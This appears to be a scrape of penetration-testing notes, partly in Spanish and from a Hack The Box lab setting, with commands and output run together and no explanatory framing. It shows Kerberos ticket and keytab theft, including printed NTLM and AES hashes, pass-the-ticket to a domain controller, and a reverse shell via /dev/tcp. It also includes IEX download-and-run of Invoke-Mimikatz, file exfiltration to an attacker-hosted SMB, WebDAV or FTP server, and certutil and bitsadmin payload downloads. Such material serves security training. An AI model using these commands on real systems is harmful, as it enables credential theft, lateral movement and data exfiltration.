kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls' -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txtdavid@inlanefreight.htb@linux01:~$ env | grep -i krb5
KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfhdavid@inlanefreight.htb@linux01:~$ ls -la /tmp
total 68
drwxrwxrwt 13 root root 4096 Oct 6 16:38 .
drwxr-xr-x 20 root root 4096 Oct 6 2021 ..
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 6 16:38 krb5cc_647401106_tBswau
-rw------- 1 david@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 6 15:23 krb5cc_647401107_Gf415d
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct 6 15:43 krb5cc_647402606_qd2Pfhdavid@inlanefreight.htb@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTBdavid@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:02:11 10/07/22 03:02:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:02:11
david@inlanefreight.htb@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
david@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:16:11 10/07/22 03:16:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:16:11david@inlanefreight.htb@linux01:~$ smbclient //dc01/carlos -k -c ls
. D 0 Thu Oct 6 14:46:26 2022
.. D 0 Thu Oct 6 14:46:26 2022
carlos.txt A 15 Thu Oct 6 14:46:54 2022
7706623 blocks of size 4096. 4452852 blocks availabledavid@inlanefreight.htb@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4david@inlanefreight.htb@linux01:~$ su - carlos@inlanefreight.htb
Password:
carlos@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 11:01:13 10/07/2022 21:01:13 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 11:01:13gzzcoo@htb[/htb]$ ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
svc_workstations@inlanefreight.htb@10.129.204.23's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...SNIP...
svc_workstations@inlanefreight.htb@linux01:~$ sudo -l
[sudo] password for svc_workstations@inlanefreight.htb:
Matching Defaults entries for svc_workstations@inlanefreight.htb on linux01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User svc_workstations@inlanefreight.htb may run the following commands on linux01:
(ALL) ALL
svc_workstations@inlanefreight.htb@linux01:~$ sudo su
root@linux01:/home/svc_workstations@inlanefreight.htb# whoami
rootroot@linux01:~# ls -la /tmp
total 76
drwxrwxrwt 13 root root 4096 Oct 7 11:35 .
drwxr-xr-x 20 root root 4096 Oct 6 2021 ..
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_qMKxc6
-rw------- 1 david@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 10:43 krb5cc_647401107_O0oUWh
-rw------- 1 svc_workstations@inlanefreight.htb domain users@inlanefreight.htb 1535 Oct 7 11:21 krb5cc_647401109_D7gVZF
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 7 11:35 krb5cc_647402606
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct 7 11:01 krb5cc_647402606_ZX6KFAroot@linux01:~# id julio@inlanefreight.htb
uid=647401106(julio@inlanefreight.htb) gid=647400513(domain users@inlanefreight.htb) groups=647400513(domain users@inlanefreight.htb),647400512(domain admins@inlanefreight.htb),647400572(denied rodc password replication group@inlanefreight.htb)root@linux01:~# klist
klist: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 13:25:01 10/07/2022 23:25:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
$Recycle.Bin DHS 0 Wed Oct 6 17:31:14 2021
Config.Msi DHS 0 Wed Oct 6 14:26:27 2021
Documents and Settings DHSrn 0 Wed Oct 6 20:38:04 2021
john D 0 Mon Jul 18 13:19:50 2022
julio D 0 Mon Jul 18 13:54:02 2022
pagefile.sys AHS 738197504 Thu Oct 6 21:32:44 2022
PerfLogs D 0 Fri Feb 25 16:20:48 2022
Program Files DR 0 Wed Oct 6 20:50:50 2021
Program Files (x86) D 0 Mon Jul 18 16:00:35 2022
ProgramData DHn 0 Fri Aug 19 12:18:42 2022
SharedFolder D 0 Thu Oct 6 14:46:20 2022
System Volume Information DHS 0 Wed Jul 13 19:01:52 2022
tools D 0 Thu Sep 22 18:19:04 2022
Users DR 0 Thu Oct 6 11:46:05 2022
Windows D 0 Wed Oct 5 13:20:00 2022
7706623 blocks of size 4096. 4447612 blocks availablegzzcoo@htb[/htb]$ cat /etc/hosts
# Host addresses
172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01gzzcoo@htb[/htb]$ cat /etc/proxychains.conf
<SNIP>
[ProxyList]
socks5 127.0.0.1 1080gzzcoo@htb[/htb]$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ gzip -d chisel_1.7.7_linux_amd64.gz
gzzcoo@htb[/htb]$ mv chisel_* chisel && chmod +x ./chisel
gzzcoo@htb[/htb]$ sudo ./chisel server --reverse
2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080gzzcoo@htb[/htb]$ xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolutionC:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks
2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)gzzcoo@htb[/htb]$ export KRB5CCNAME=$(pwd)/krb5cc_647401106_I8I133gzzcoo@htb[/htb]$ proxychains impacket-wmiexec dc01 -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:50713 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... INLANEFREIGHT.HTB:88 ... OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julioevil-winrm -i dc.dominio.htb -r dominio.htbsudo apt install ntpdate -ysudo ntpdate -s 10.10.10.10impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10gzzcoo@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] converting ccache to kirbi...
[+] doneC:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.2
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\htb> klist
Current LogonId is 0:0x31adf02
Cached Tickets: (1)
#0> Client: julio @ INLANEFREIGHT.HTB
Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0xa1c20000 -> reserved forwarded invalid renewable initial 0x20000
Start Time: 10/10/2022 5:46:02 (local)
End Time: 10/10/2022 15:46:02 (local)
Renew Time: 10/11/2022 5:46:02 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
C:\htb>dir \\dc01\julio
Volume in drive \\dc01\julio has no label.
Volume Serial Number is B8B3-0D72
Directory of \\dc01\julio
07/14/2022 07:25 AM <DIR> .
07/14/2022 07:25 AM <DIR> ..
07/14/2022 04:18 PM 17 julio.txt
1 File(s) 17 bytes
2 Dir(s) 18,161,782,784 bytes freegzzcoo@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
gzzcoo@htb[/htb]$ /opt/linikatz.sh
_ _ _ _ _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_ /
| | | | | | | < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|
=[ @timb_machine ]=
I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar 4 2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar 4 2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar 4 2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
-rw-r--r-- 1 root root 959 Mar 4 2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar 4 2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct 7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct 4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct 7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct 6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct 4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct 7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct 4 16:26 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: LINUX01$@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:48:03 10/11/2022 05:48:03 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:48:03, Flags: RIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 11:32:01 10/07/2022 21:32:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 11:32:01, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:55:02 10/11/2022 05:55:02 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:55:02, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: svc_workstations@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/10/2022 19:55:02 10/11/2022 05:55:02 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/11/2022 19:55:02, Flags: FPRIA
Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types:
I: [check] KCM Kerberos ticketscertipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.keypython3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10<#
.SYNOPSIS
Encryptes or Decrypts Strings or Byte-Arrays with AES
.DESCRIPTION
Takes a String or File and a Key and encrypts or decrypts it with AES256 (CBC)
.PARAMETER Mode
Encryption or Decryption Mode
.PARAMETER Key
Key used to encrypt or decrypt
.PARAMETER Text
String value to encrypt or decrypt
.PARAMETER Path
Filepath for file to encrypt or decrypt
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"
Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded cipher text.
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin.aes
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $true)]
[ValidateSet('Encrypt', 'Decrypt')]
[String]$Mode,
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path
)
Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
}
Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
switch ($Mode) {
'Encrypt' {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".aes"
}
$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File encrypted to $outPath"
}
}
'Decrypt' {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName -replace ".aes"
}
$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()
if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File decrypted to $outPath"
}
}
}
}
End {
$shaManaged.Dispose()
$aesManaged.Dispose()
}
}PS C:\gzzcoo> Import-Module .\Invoke-AESEncryption.ps1
PS C:\gzzcoo> IEX(New-Object Net.WebClient).downloadString("https://gist.githubusercontent.com/ddumicz/909d98a0e794a42326d5fcd6d9f2c4ad/raw/dc5419b9702015bb6652a07e46743b3554c05e2f/Invoke-AESEncryption.ps1")# Encriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
File encrypted to C:\gzzcoo\scan-results.txt.aes
PS C:\gzzcoo> ls
Directory: C:\gzzcoo
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/18/2020 12:17 AM 9734 Invoke-AESEncryption.ps1
-a---- 11/18/2020 12:19 PM 1724 scan-results.txt
-a---- 11/18/2020 12:20 PM 3448 scan-results.txt.aes
# Desencriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt.aes# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
# PowerShell
╭╴at ~\Desktop
╰─ Get-FileHash C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 E7F7D2522CC7FDEC3E6CC2C1E2F20819 C:\Users\gzzcoo\Desktop\shell.sh# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Windows.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy x:\archivo.txt C:\path\destination\archivo.txt# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargamos el archivo con certutil.exe
certutil.exe -f -urlcache -split http:/<ATTACKER_IP>/archivo.txt C:\path\destination\archivo.txtC:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gzzcoo\Desktop\nc.exePS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo a través de cURL
curl http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
curl <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con wget, si no especificamos -o, se descargará en el directorio actual
wget http://<ATTACKER_IP>/archivo.txt
wget http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
wget <ATTACKER_IP>/archivo.txt
wget <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txtsudo pip3 install pyftpdlib --break-system-packagessudo python3 -m pyftpdlib --port 21PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "GET shell.sh" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET shell.sh
ftp> bye
╭╴at ~\Desktop
╰─ cat .\shell.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.37/443 0>&1"var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end withC:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy C:\path\archivo.txt \\<ATTACKER_IP>\smbFolder\archivo.txt# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Kali.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy C:\path\archivo.txt x:\archivo.txtsudo pip3 install wsgidav cheroot --break-system-packagessudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymousC:\Users\gzzcoo\Desktop>dir \\192.168.134.128\DavWWWRoot
Volume in drive \\192.168.134.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000
Directory of \\192.168.134.128\DavWWWRoot
06/03/2025 02:44 <DIR> .
06/03/2025 02:44 <DIR> ..
06/03/2025 02:18 <DIR> tmp.h4ikej9g1U╭╴at ~\Desktop
╰─ net use * http://192.168.134.128/ /user:anonymous ""╭╴at ~\Desktop took 3s
╰─ dir Z:
Directory: Z:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 06/03/2025 2:18 tmp.h4ikej9g1U
d----- 06/03/2025 0:32 tmp.CfttO9JChMC:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\╭╴at ~\Desktop
╰─ copy shell.sh Z:\sudo python3 -m pyftpdlib --port 21 --write(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop took 2s
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> byePS C:\htb> whoami
htb\administrator
PS C:\htb> hostname
DC01PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : TruePS C:\htb> $Session = New-PSSession -ComputerName DATABASE01PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session# Ejemplo DownloadFile:(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Ejemplo DownloadFileAsync: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con IWR (Invoke-WebRequest)
IWR -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
Invoke-WebRequest -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txtIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX# Desde Kali codificamos en Base64 el archivo que queremos transferir
cat archivo.txt | base64 -w 0; echo
# Desde PowerShell (Víctima), decodificamos el contenido y lo almacenamos en una ruta
[IO.File]::WriteAllBytes("C:\Users\Public\archivo.txt", [Convert]::FromBase64String("<BASE64_CODE>"))
